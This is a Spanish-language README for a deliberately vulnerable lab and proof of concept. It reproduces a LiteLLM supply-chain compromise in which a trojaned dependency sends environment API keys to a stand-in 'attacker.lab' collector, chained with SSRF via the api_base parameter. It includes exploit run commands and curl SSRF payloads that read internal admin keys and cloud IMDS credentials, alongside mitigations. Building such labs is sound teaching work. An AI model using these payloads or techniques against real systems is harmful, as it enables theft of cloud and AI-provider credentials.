CVE-2026-33634 — LiteLLM supply chain + SSRF sin api_base (PoC / Lab)

⚠️ Laboratorio deliberadamente vulnerable, para uso educativo y autorizado. Ejecútalo solo en tu máquina, contra los contenedores de este repositorio. Lee SECURITY-NOTES.md antes de empezar.

🚫 NUNCA ejecutes este lab en una VM de nube ni en una máquina compartida. El gateway tiene SSRF irrestricto a propósito: si hay un IMDS real (169.254.169.254) o servicios sensibles en el loopback/la LAN, el SSRF los alcanza de verdad. Los puertos se publican solo en 127.0.0.1; mantenlo así. Usa un host aislado/desechable.

CVSS 9.4 (crítico). Compromiso de supply chain del gateway LiteLLM (marzo/2026): una dependencia maliciosa en una lib de gateway expuso el portafolio entero de credenciales de proveedores de IA. El patrón recurrente de esa capa aparece junto: clave de OpenAI en el proxy y SSRF en el parámetro api_base. Este lab reproduce ambas fallas y las encadena en un exploit.

Las dos fallas encadenadas

1) Supply chain — dependencia troyanizada

litellm-telemetry-helper (en malicious-dep/) simula la dependencia transitiva comprometida. En la narrativa del incidente, un pin débil (>=0.9.6) habría dejado que el resolvedor trajera la versión maliciosa 0.9.7 en lugar de la 0.9.6 limpia. El payload se dispara en el import (basta con que el gateway resuelva la dependencia) y, en un hilo de background, exfiltra todo el entorno (OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_*, ...) hacia un colector del atacante — silenciosamente, sin romper la aplicación.

2) SSRF en api_base

El proxy (gateway/app.py) acepta api_base (el base_url del proveedor) proveniente del llamador, sin allowlist. El atacante controla hacia dónde el gateway hace peticiones y el gateway además:

• adjunta la clave real del proveedor en el header Authorization, y
• devuelve el cuerpo de la respuesta upstream (SSRF de lectura arbitraria).

Con esto se puede: alcanzar servicios internos (/admin/keys), robar credenciales de nube en el IMDS (169.254.169.254), escanear puertos de la red interna y filtrar la clave de cada proveedor apuntando el api_base de vuelta hacia el atacante.

Arquitectura del lab

                    HOST (tú / atacante)
        exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
              ▲                                               │
              └───────────GET /loot (localhost:8080)──┐       │
                                                      │       ▼
   ┌───────────────────────── red docker "labnet" ───┼───────────────────┐
   │                                                   │                   │
   │   collector (attacker.lab:8080) ◄─ beacon supply-chain ── gateway     │
   │      • /beacon  (exfil de la dep maliciosa)       │     (litellm      │
   │      • /collect (clave filtrada vía SSRF)         │      :4000)       │
   │      • /oob     (confirmación SSRF ciego)         │        │ SSRF     │
   │      • /loot                                      ┘        │ (api_base)│
   │                                                            ▼          │
   │   internal.lab:9000  /admin/keys   (NO publicado) ◄────────┤          │
   │   imds.lab:80        /latest/...   (NO publicado) ◄────────┤          │
   │   provider-mock.lab:9100  (upstream "normal")      ◄───────┘          │
   └──────────────────────────────────────────────────────────────────────┘

internal.lab e imds.lab no tienen puerto publicado — solo el SSRF del gateway los alcanza. Ese es el punto del laboratorio.

Cómo levantar y explotar

Requisitos previos: Docker + Docker Compose v2, y Python 3.9+ con httpx para el exploit.

cd CVE-2026-33634

# 1) levanta el lab (gateway :4000, colector :8080)
docker compose up -d --build      # o: make up

# 2) instala el requisito del exploit
python3 -m pip install -r exploit/requirements.txt

# 3) ejecuta el exploit completo
python3 exploit/exploit.py        # o: make exploit

Ejecutar fases aisladas:

python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal        # solo roba el cofre interno
python3 exploit/exploit.py --only cloud           # solo roba credenciales de nube
python3 exploit/exploit.py --only keyleak         # solo filtra claves de los proveedores
python3 exploit/exploit.py --only supplychain     # solo verifica el beacon de la dep

El loot completo se guarda en loot.json. Sigue al atacante recibiendo los datos:

docker compose logs -f collector       # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool

Reproducir solo el SSRF a mano (sin el exploit)

# lectura arbitraria: cofre interno vía SSRF
curl -s http://localhost:4000/v1/chat/completions \
  -H 'content-type: application/json' \
  -d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
  | python3 -m json.tool

# credenciales de nube vía SSRF al IMDS
curl -s http://localhost:4000/v1/chat/completions \
  -H 'content-type: application/json' \
  -d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'

Qué hace el exploit (fases)

Fidelidad y simplificaciones del lab

Este lab prioriza la claridad didáctica y la reproducibilidad. Donde abstrae el incidente real, es a propósito — y vale la pena conocer las diferencias:

• Import directo vs. dependencia transitiva. El gateway hace import litellm_telemetry_helper explícitamente, en lugar de que el paquete sea una dependencia transitiva oculta en el árbol del litellm real. El efecto (payload en el import) es idéntico; la cadena de resolución fue acortada.
• Instalación local vs. resolución de versión. El pin débil >=0.9.6 es la narrativa (línea comentada en gateway/requirements.txt); en el lab la dep se instala desde ./malicious-dep vía Dockerfile — no hay un índice PyPI resolviendo 0.9.7 sobre 0.9.6. Para ejercitar la resolución de verdad, levanta un índice local (pypiserver/devpi) con ambas versiones.
• SSRF de path arbitrario. En el vector api_base, el lab usa la URL verbatim cuando hay un path explícito (para demostrar la lectura de /admin/keys y del IMDS en un único parámetro). En el camino OpenAI-compatible, el LiteLLM real concatena un sufijo fijo (/chat/completions) y hace POST — el control suele ser del host (clave filtrada, SSRF por host) y el path arbitrario aparece en rutas de /health. El impacto demostrado (filtración del portafolio + pivote interno/cloud) es fiel; la construcción exacta de la URL está simplificada.

Mitigaciones (cómo corregirías esto)

SSRF (api_base)

• Allowlist de hosts/dominios de upstream permitidos; rechaza el resto.
• Prohíbe IPs privadas, loopback y link-local 169.254.0.0/16 (IMDS); resuelve el DNS y valida la IP antes de conectar (cuidado con el rebinding).
• No uses el base_url del cliente para rutas administrativas; separa planos.
• Nunca adjuntes la credencial del proveedor a un destino no validado.
• Fuerza IMDSv2 (token obligatorio) y hop-limit=1 en el host de nube.
• Egress firewall: el gateway solo habla con los proveedores que necesita.

Supply chain

• Pin exacto + hashes (--require-hashes, lockfile); nada de >=.
• Verifica procedencia (Sigstore/atestaciones), audita dependencias nuevas.
• Ejecuta con egress bloqueado por defecto; un beacon de import falla.
• Trata pip install como ejecución de código (install hooks); usa sandbox/CI aislado.
• Secrets fuera de variables de entorno longevas: usa un secrets manager con credenciales de corta duración y rotación.

Credenciales/secreto (baseline)

• Secreto ausente = fallo en el boot (sin default). No devuelvas entidades/errores detallados al llamador. Loguea por allowlist, nunca tokens/claims.

Estructura

CVE-2026-33634/
├── docker-compose.yml        # orquesta todo en la red labnet
├── Makefile                  # up / down / logs / exploit
├── gateway/                  # proxy LiteLLM-style VULNERABLE (SSRF + import de la dep)
├── malicious-dep/            # la dependencia troyanizada (payload en el import)
├── collector/                # colector del atacante (/beacon /collect /oob /loot)
├── internal-service/         # /admin/keys interno (solo vía SSRF)
├── imds/                     # mock del metadata service de nube (solo vía SSRF)
├── provider-mock/            # upstream "normal" (contraste)
├── exploit/exploit.py        # exploit multifase (async)
├── SECURITY-NOTES.md         # vulns intencionales, contención y autorización
└── README.md